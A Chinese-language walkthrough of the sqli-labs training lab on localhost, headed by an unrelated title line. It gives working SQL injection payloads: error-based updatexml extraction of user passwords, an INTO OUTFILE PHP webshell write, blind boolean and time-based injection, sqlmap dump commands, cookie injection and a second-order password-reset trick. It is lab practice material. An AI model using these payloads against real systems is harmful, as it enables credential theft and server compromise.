做外貿(mào)網(wǎng)站好的公司志鴻優(yōu)化設(shè)計(jì)答案網(wǎng)
文章目錄
- 總體思路:
- less-1:
- less-2:
- less-3:
- less-4:
- less-5:
- less-6:
- less-7:
- less-8:布爾盲注
- less-9:時(shí)間盲注
- less-21:
- less-24:
總體思路:
1、第一件事情 逃脫出單引號(hào)的控制 閉合單引號(hào)
2、單雙引號(hào)需要成對(duì)出現(xiàn) 在python php Java中
3、2個(gè)辦法 繼續(xù)把多出來(lái)的單引號(hào)閉合,要么注釋掉單引號(hào)
4、MySQL注釋符 – # /***/ */ url會(huì)編碼# 要用%23繞過(guò) 規(guī)則:ord(‘#’) hex(35)
5、需要知道聯(lián)合查詢的列數(shù) 求當(dāng)前表的列數(shù)(聯(lián)表查詢必須保證兩個(gè)表列數(shù)一致)
6、需要order by 檢測(cè)他的列數(shù) 列數(shù)3
7、讓第一個(gè)表查詢?yōu)榭?br /> 8、最終目的 注入管理員賬號(hào)密碼
9、首先你要知道管理員表名 列名(利用MySQL自帶的數(shù)據(jù)庫(kù)information_shame)
less-1:
http://127.0.0.1/sqllabs/less-2/?id=1
less-2:
http://127.0.0.1/sqllabs/less-2/?id=1
less-3:
http://127.0.0.1/sqllabs/less-3/?id=1
less-4:
http://127.0.0.1/sqllabs/less-4/?id=1%27
less-5:
1、報(bào)錯(cuò)注入的突破口就是讓頁(yè)面上顯示報(bào)錯(cuò)。
2、比如在本例中把查詢參數(shù)的路徑寫(xiě)錯(cuò),頁(yè)面上只會(huì)顯示查詢不到內(nèi)容,但是不會(huì)報(bào)錯(cuò)。
3、但是如果把查詢參數(shù)的格式符號(hào)寫(xiě)錯(cuò),頁(yè)面上就會(huì)提示出報(bào)錯(cuò)信息:
4、由于路徑錯(cuò)誤,報(bào)錯(cuò)信息中顯示出了路徑信息。
5、于是我們想到,如果在報(bào)錯(cuò)之前執(zhí)行一下select語(yǔ)句,然后在報(bào)錯(cuò)提醒信息那里回顯出我們想要的數(shù)據(jù)信息就好了,這//就是報(bào)錯(cuò)注入。
http://127.0.0.1/sqllabs/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),1,32),0x7e),1)--%20 //查到表名
http://127.0.0.1/sqllabs/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name%20=%20%27users%27%20limit%202,1),1,32),0x7e),1)--%20//查到列名
127.0.0.1/sqllabs/less-5/?id=1%27 and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)--+
less-6:
sqlmap
less-7:
mysql注入webshell必須滿足:
1、root權(quán)限
2、知道網(wǎng)站物理路徑
3、secure_file_priv 為空(show variables like ‘%secure%’;)
id=1%27))union select 1,2,"<?php phpinfo();" into outfile "E:/phpstudy_pro/www/sqllabs/webshell.php";--+
less-8:布爾盲注
http://127.0.0.1/sqllabs/less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=115--+
我用sqlmap解出來(lái)的:
python sqlmap/sqlmap.py-u http://127.0.0.1/sqllabs/Less-8/?id=1 -dbs //提取數(shù)據(jù)庫(kù)
python sqlmap/sqlmap py-u http://127.0.0.1/sqllabs/ess-8/?id=1 -D security --tables//表名
python sqlmap/sqlmap.py -u http://127.0.0.1/sqllabs/Less-8/?id=1 -D security -T users --columns //列名
python sqlmap/sqlmap.pyu http://127.0.0.1/sqllabs/Less-8/?id=1 -D security -T users --dump -C "username,password"//用戶名和密碼
less-9:時(shí)間盲注
1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)--
less-10:
sqlmap
less-21:
我發(fā)現(xiàn)不輸入正確的用戶名和密碼就拿不到cookie,由于我知道數(shù)據(jù)庫(kù),所以我嘗試輸入正確的用戶名和密碼就抓包,把post放了之后看到get包里的cookie,由于代碼是對(duì)用戶名先進(jìn)行base64編碼之后再進(jìn)行解碼,所以我在注入的時(shí)候先對(duì)我的uname進(jìn)行sql代碼的base64編碼注入即可
截圖如下:
less-24:
看源代碼可知在用戶修改密碼時(shí)又注入sql可能,我先注冊(cè)一個(gè)admin’#用戶單引號(hào)用于合并,#用來(lái)注釋后面的代碼包括’,然后登錄admin’#用戶修改密碼,再進(jìn)入數(shù)據(jù)庫(kù)中可以看到admin用戶的密碼被修改了